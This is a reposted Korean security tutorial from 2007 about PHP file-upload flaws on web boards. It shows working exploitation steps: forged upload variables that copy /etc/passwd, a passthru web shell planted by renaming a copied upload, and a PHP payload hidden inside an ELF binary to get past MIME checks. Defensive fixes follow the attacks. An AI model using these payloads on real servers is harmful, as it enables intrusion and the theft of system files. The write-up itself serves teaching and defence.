본문으로 바로가기

File Upload 시의 알고리즘 주의할점

category Security/Web 2007. 8. 14. 23:57
반응형
이번에는 Web Board 상에서 File Upload 부분을 처리할때 Hacking 취약성
3 번째를 알아보겠다. Cracker 가 Hacking 을 할때 가장 많이 이용하는 취약성은
어떤 것일까? 단연 Web Hacking 이다. 그 중에서도 Board 의 File Upload
취약성은 가장 많이 이용된다. 도대체 어떻게 된 구조길래 Cracker 들이
가장 좋아하는 방법인지 알아보겠다.

Cracker 가 Web Server 에 CGI 를 올려서는 절대 안된다고 몇차례 이미
이야기를 했다. 이유는 Cracker 가 악의적인 CGI 를 올릴 수 있으면 서버에
System Command 를 실행시킬 수도 있기 때문이다.

이번엔 어떤 취약성일까? 알아보자.

사용자가 Upload 할 File 을 지정하고, File 을 서버에 올리면 지정된 파일에는
몇가지의 변수들이 정의되어 진다.

예를 들어 다음과 같은 폼에서 File 을 올렸다고 가정하자.

<form action=write_ok.php method=post enctype="multipart/form-data">
Send this file: <input type=file name=in_file>
<input type=submit value=Send>
</form>

$in_file - Upload 된 File 내용이 저장되어 있는 서버의 임시 File name

$in_file_name - Upload 한 시스템에서 사용하는 File 의 원래 이름

$in_file_size - byte 단위의 Upload된 파일의 크기.

$in_file_type - 만약 browser가 업로드된 파일의 mime 형식을 안다면
그 mime 형식. (Ex. "image/gif").

이해를 돕기 위해 위와 같은 폼으로 자료를 올렸을때 나타나는 결과를 보자.
나는 2309 byte 사이즈의 test.txt 라는 파일을 서버에 올렸다.

<?

echo "in_file = $in_file<br>";
echo "in_file_name = $in_file_name<br>";
echo "in_file_size = $in_file_size<br>";
echo "in_file_type = $in_file_type<br>";

?>

[결과]
in_file = /tmp/phpoIVrVs
in_file_name = test.txt
in_file_size = 2309
in_file_type = text/plain

우리는 form 의 file type 을 이용하여 in_file 이라는 파일을 올렸는데
3 가지의 변수가 자동으로 붙었다. 이 변수들은 파일의 type 을 체크하거나
파일 사이즈등을 체크하려할때 아주 유용하게 사용되어 진다.

하지만 여기에 Hacking 에 이용될 수 있는 취약점이 발생한다.

예를 들어 다음의 소스를 보자.

write_ok.php

1 <?
2
3 /* 생략 */
4
5 if($in_file_name)
6 {
7 if($in_file_size == 0)
8 {
9 echo "모양 파일 크기 0 이양";
10
11 exit;
12 }
13
14
15
16 }
17
18 if($in_file != "none" && $in_file)
19 {
20 $filetype = split("/", $in_file_type);
21 $filetype = $filetype[0];
22
23 if($filetype == "text")
24 $in_file_name = $in_file_name.".txt";
25
26 $exist = file_exists("data/$in_file_name");
27
28 if($exist)
29 {
30 echo "동일한 파일이름이 이미 존재합니다.";
31 exit;
32 }
33
34 if(!copy($in_file, "data/$in_file_name"))
35 {
36 echo "파일 저장 실패! 다시 올리라.";
37 exit;
38 }
39
40 chmod("data/$in_file_name", 0444);
41
42 unlink($in_file);
43 }
44
45 /* 생략 */
46
47 ?>

위 Source 에는 Hacking 취약성이 존재한다.

이 취약성의 가장 핵심이 되는 내용은 File Upload 후에 자동적으로 붙는
$in_file_name 과 $in_file_size, $in_file_type 등은 Client 마음대로 바꿀
수 있다는 것이다.

위 3 개의 변수들은 Server 에서 자동적으로 처리를 해주기는 하지면 우리에게
우선권이 있다. 만약 우리가 query 를 보낼때 in_file_name=/etc/passwd 이런
식으로 정의를 해준다면 Server 에서는 자기 임의대로 in_file_name 을 정의하지
않는다. (이해를 쉽게 하기 위해 위의 표현을 쓴 것을 이해바란다.)

write_ok.php 에서 CGI 를 올릴 수 없게 조취를 취한 것은 무엇이 있는지
알아보자.

먼저 5 번째 줄에서 in_file_name 변수가 존재한다면, 그러니까 사용자가
File 을 올렸다면 그 File Size 가 0 인지 검사를 한다. 0 이라면 잘못된
것으로 인식하여 Script 를 중지시킨다. 그리고 in_file 이 none 이 아니고
존재했을때, file 의 type 을 구한다. 만약 File Type 이 text 형식이라면
File 의 이름 뒤에 txt 를 붙인다. 이렇게 하는 이유는 만약 test.php 같은
Script 를 올렸을때 뒤에 .txt 를 붙여서 WebServer 에서 php 를 실행하지
않게끔 하기 위한 조취이다. 그래서 위의 상태라면 만약 hacking.php 라는
File 을 올렸다면 Server 에는 hacking.php.txt 라는 File 이 될 것이다.

26~32 줄은 File 이 Server 에 이미 존재하는지 확인하는 루틴이고 34 번 줄은
Server 에 올려진 임시파일을 in_file_name 으로 Copy 를 하는 것이다.

40 번째 줄은 퍼미션은 444 로 주었다. (user, group, other 에 read 권한만
부여를 의미) 그리고 42 번째 줄에서 Server 에 올려진 임시파일을 지웠다.

자 이제 이런 체크를 교묘히 빠져나가 보자. 빠져나가는 방법에는 여러 가지
방법이 있는데 첫번째는 in_file_name 과 in_file_size 를 조작하는 방법이다.

먼저 File 을 Read 할 수 있는 방법부터 보겠다. File Read 에서 가장 주의깊게
봐야할 부분은 34 번째 줄이다.

File 을 올리기 위해선 File Size 가 0 이 아니어야 한다. 그래서 File Size 에
임의의 값 100 을 주겠다.

(여기서 잠깐 php 에서 Copy Function 의 사용법을 간략하게 알아보겠다.
문법은 다음과 같다. copy(src, dst); src 파일을 dst 로 copy 하라는 뜻이다.)

src 에 들어가는 in_file 을 /etc/passwd 로 하겠다. 그리고 dst 에는 passwd.txt
라고 하겠다. 위의 상황을 종합적으로 정리해봤을때 서버에 가야하는 query 는
다음과 같다.

http://server/write_ok.php?in_file=/etc/passwd&in_file_name=passwd.txt&in_file_size=100

위와 같이 보낸다면 php 는 실제로 이렇게 작동될 것이다.

if(!copy("/etc/passwd", "data/passwd.txt"))

그럼 실제로 passwd.txt 를 요청하여 보자.

[요청]
http://server/data/passwd.txt

[결과]
root:*:0:0:root:/root:/usr/local/bin/bash
daemon:*:1:1:Owner of many system processes:/root:/sbin/nologin
operator:*:2:5:System &:/:/sbin/nologin
bin:*:3:7:Binaries Commands and Source,,,:/:/sbin/nologin
tty:*:4:65533:Tty Sandbox:/:/sbin/nologin
kmem:*:5:65533:KMem Sandbox:/:/sbin/nologin
................................

Remote File Read Attack 을 성공하였다. 하지만 진정한 Cracker 라면 여기서 만족
하지 않는다. System Command Execute 까지 성공하여 보자.

위 File Read 방법과 원리는 비슷하므로, 간략하게 절차적으로 설명하고, 필요한
부분만 더 설명을 하겠다.

먼저 서버에 정상적인 text File 을 하나 올리자.

hack.txt

<?
passthru($beist);
?>

hack.txt 이 정상적으로 Server 에 올려졌다면 hack.txt 는 hack.txt.txt 로 변해
있을 것이다. (이해가 안된다면 20~24 번째 줄을 보자.)

그리고 이렇게 요청을 하자.

http://server/write_ok.php?in_file=data/hack.txt.txt&in_file_name=realhack.php&in_file_size=100

원리를 살펴보자. 우리는 먼저 hack.txt 를 올렸다. hack.txt 에는 시스템에
명령을 실행할 수 있는 passthru Function 이 담겼다. txt 확장자 파일로는 아무것도
할 수 없지만, 이 파일을 이용하여 realhack.php 으로 카피한 것이다.

실제로는 이렇게 카피가 될 것이다.

if(!copy("data/hack.txt.txt", "data/realhack.php"))

우리는 이로써 realhack.php 을 이용하여 System 의 Shell 을 따내게 되었다.

[요청]
http://server/data/realhack.php?beist=cat /etc/passwd

[결과]
root:*:0:0:root:/root:/usr/local/bin/bash
daemon:*:1:1:Owner of many system processes:/root:/sbin/nologin
operator:*:2:5:System &:/:/sbin/nologin
bin:*:3:7:Binaries Commands and Source,,,:/:/sbin/nologin
tty:*:4:65533:Tty Sandbox:/:/sbin/nologin
kmem:*:5:65533:KMem Sandbox:/:/sbin/nologin
................................

또 다른 방법은 hack.php 라는 File 을 in_file 과 in_file_name 의 query 조작
말고도 in_file_type 을 임의로 변경하여 text file 이 아닌 것처럼 올린다면
뒤에 뒤에 txt 확장자가 붙지 않으니 정상적으로 Server 에서 Shell 을 실행시킬
수 있을 것이다. 이 방법은 위에서 많이 설명하였으니 실질적인 공격 방법은
설명하지 않겠다.

두번째 공격 방법에 대해서 알아보자.

두번째 공격 방법에서는 in_file 같은 변수들을 조작하지 않고 Hacking 을 할
것이다. 20~24 번째 줄에서는 text 파일일 경우에만 file name 뒤에 txt 를
붙인다. 그렇다면 text type 이 아닌 binary file 을 올리면 어떻게 될까?

확장자가 php 라도 binary file 이라면 20~24 줄 검사에서 text 가 아니니
뒤에 txt 가 붙지도 않을 것이다.

php binary file(?) 을 만들어 보자. (Zend 가 아닌)

hack.c

#include <stdio.h>
main()
{
}

$ gcc -o hack.php hack.c
$ vi hack.php

^?ELF^A^A^A^@^@^@^@^@^@^@^@^@^B^@^C^@^A^@^@^@0~C^D^H4^@^@^@L(^@^@^@^@^@^@
F^@(^@^^^@^[^@^F^@^@^@4^@^@^@4~@^D^H4~@^D^H?@^@^@?@^@^@^E^@^@^@^D^@^@^@
@?@^@^@?@^D^H?@^D^H^S^@^@^@^S^@^@^@^D^@^@^@^A^@^@^@
<? passthru($beist); ?>
^A^@^@^@^@^@^@^@^@~@^D^H^@~@^D^H?D^@^@?D^@^@^E^@^@^@^@^P^@^@^A^@^@^@?D
^D^H?T^D^H?@^@^@?@^@^@^F^@^@^@^@^P^@^@^B^@^@^@?D^@^@?T^D^H?T^D^H| ^
<@^@^@^F^@^@^@^D^@^@^@^D^@^@^@^H^A^@^@^H~A^D^H^H~A^D^H ^@^@^@ ^@^@^@^D^@^
^@^@/lib/ld-linux.so.2^@^@^D^@^@^@^P^@^@^@^A^@^@^@GNU^@^@^@^@^@^B^@^@^@^@

vi 저장후 빠져나옴.

위에 대해서 설명을 하겠다. 먼저 아무런 기능도 하지 않는 hack.c 라는 file
을 만든 후 hack.php 로 컴파일을 한다. 컴파일한 file 을 열어 (열었을때 이상
한 문자가 나올 것이다.) 그 중간에 시스템에 명령을 실행할 수 있는 Code 를
넣는다. (passthru Function)

이제 이 File 은 중간에 Text Code 넣었음에도 binary File 이다. 비교를
해보자.

test.php

<?
passthru($beist);
?>

$ file test.php
test.php: ASCII text

$ file hack.php
hack.php: ELF 32-bit LSB executable, Intel 80386, version 1, statically
linked (uses shared libs), stripped

우리의 hack.php 는 ELF 포맷을 갖는 binary 가 되었다. 이 File 을 서버에
올리면 File Type 에 걸리지 않고 무사히 올라가게 될 것이고 중간에 넣은
Code 로 Cracker 는 Hacking 을 할 수 있다.

[요청]
http://server/data/hack.php?beist=cat /etc/passwd

[결과]
ELF^^A^A^A^A^A^A^A^A^A^A^A^A^A^A^A^C^F^^E@^F^
root:*:0:0:root:/root:/usr/local/bin/bash
daemon:*:1:1:Owner of many system processes:/root:/sbin/nologin
operator:*:2:5:System &:/:/sbin/nologin
bin:*:3:7:Binaries Commands and Source,,,:/:/sbin/nologin
tty:*:4:65533:Tty Sandbox:/:/sbin/nologin
kmem:*:5:65533:KMem Sandbox:/:/sbin/nologin
................................

(위의 경우, C 로 짜여진 CGI 를 File Type Text 검사에 걸리지 않아서 넘어
갈 수 있겠지만 퍼미션을 user, group, other 에 read 만 부여하였기 때문에
Forbidden 이 나올 것이다.)

이제 이 두 Hacking 방법에 대한 대처 방안을 알아보자.

PHP 에서는 이 환경 변수에 의한 취약성을 인식하고 새로운 Function 을
내놓게 되었다. 바로 is_uploaded_file 이다. 이 Function 을 써서 사용자가
올린 파일이 정상인지 아닌지 체크가 가능하다.

수정된 write2_ok.php 의 일부분을 살펴보겠다.

write2_ok.php

1 if($in_file != "none" && $in_file)
2 {
3 $not_file = is_uploaded_file($in_file);
4
5 if( !$not_file ) {
6 echo "장난 하냐?"; exit; }
7
8 $filetype = split("/", $in_file_type);
9 $filetype = $filetype[0];

3 번째 줄에서 사용자가 Upload 한 파일이 정상적으로 올린 파일인지 아닌지
검사를 하기 위해 is_uploaded_file 를 실행하여 만약 정상적이지 않다면
스크립트를 중지시킨다.

[요청]
http://server/write_ok.php?in_file=data/hack.txt.txt&in_file_name=realhack.php&in_file_size=100

[결과]
장난 하냐?

성공적으로 막았다. 하지만 이 방법으로는 안전하지 않다. 사용자가 in_file
은 정상적인 File 을 Upload 하고 in_file_name 을 조작하여 보낼 수도 있기
때문이다.

예를 들어

<form action=write_ok.php method=post enctype="multipart/form-data">
Send this file: <input type=file name=in_file>
<input type=hidden name=in_file_name value="test.php">
<input type=submit value=Send>
</form>

이렇게 hidden type 으로 data 를 하나 올린다면 Server 에서 사용자가 올린
hacking.txt 의 file 을 test.php 로 copy 할 것이다.

hacking.txt

<?
passthru($beist);
?>

[요청]
http://server/data/test.php?beist=cat /etc/passwd

[결과]
root:*:0:0:root:/root:/usr/local/bin/bash
daemon:*:1:1:Owner of many system processes:/root:/sbin/nologin
operator:*:2:5:System &:/:/sbin/nologin
bin:*:3:7:Binaries Commands and Source,,,:/:/sbin/nologin
tty:*:4:65533:Tty Sandbox:/:/sbin/nologin
kmem:*:5:65533:KMem Sandbox:/:/sbin/nologin
................................

조금 더 안전하게 하기 위해 $in_file_name 의 이름 중에 php 관련 파일이
있다면 취소를 하게끔 추가하도록 하자.

if(eregi("php", $in_file_name))
{
echo "장난하니?.. file 이름에 php 가 들어있습니다.";
exit;
}

그리고, 상위 디렉토리의 진입을 막기 위한 조취도 취해놓자.

if(eregi("\.\.", $in_file))
{
echo "장난하니?.. file 이름에 .. 가 들어있으면 안됩니다.";
exit;
}

두번째, binary File 을 올려서 File type 을 속이는 Hacking 에 대한 대처
방법을 알아보자.

어떤 상황이라도 사용자가 Server 에 php 관련 파일의 확장자를 올리는 것은
위험하다. 실제로 그 File 이 실행이 되지 않더라도 말이다.

그래서 애초에 File Name 에 php 관련 파일이 들어가선 안되도록 조취를
취하는 것이 좋은 방법이다.

if(eregi("php", $in_file_name))
{
echo "장난하니?.. file 이름에 php 가 들어있습니다.";
exit;
}

아니면 File Name 을 확장자를 갖게 하지 말고 번호를 갖게 다음의 알고리즘을
적절히 이용하는 방법도 괜찮다.

$count=0;
$fp=fopen("count.txt", "r");
$count=fgets($fp, 10);

copy($in_file, "data/$count");
$count++;
fclose($fp);

$fp=fopen("count.txt", "w");
fputs($fp, $count, 10);
fclose($fp);



좀비님 사이트에있는 Beist 님의 강좌를 퍼왔습니다

좋은내용이네요
반응형

'Security > Web' 카테고리의 다른 글

IPTIME 무선공유기 해킹  (0) 2008.02.12
HDSI 사용법  (0) 2007.10.22
HackShield 의 구동원리&우회  (10) 2007.08.12
JEUS 취약점 발표_NCSC  (0) 2007.07.18
SQL-INJECTION (GOOD!)  (0) 2007.07.15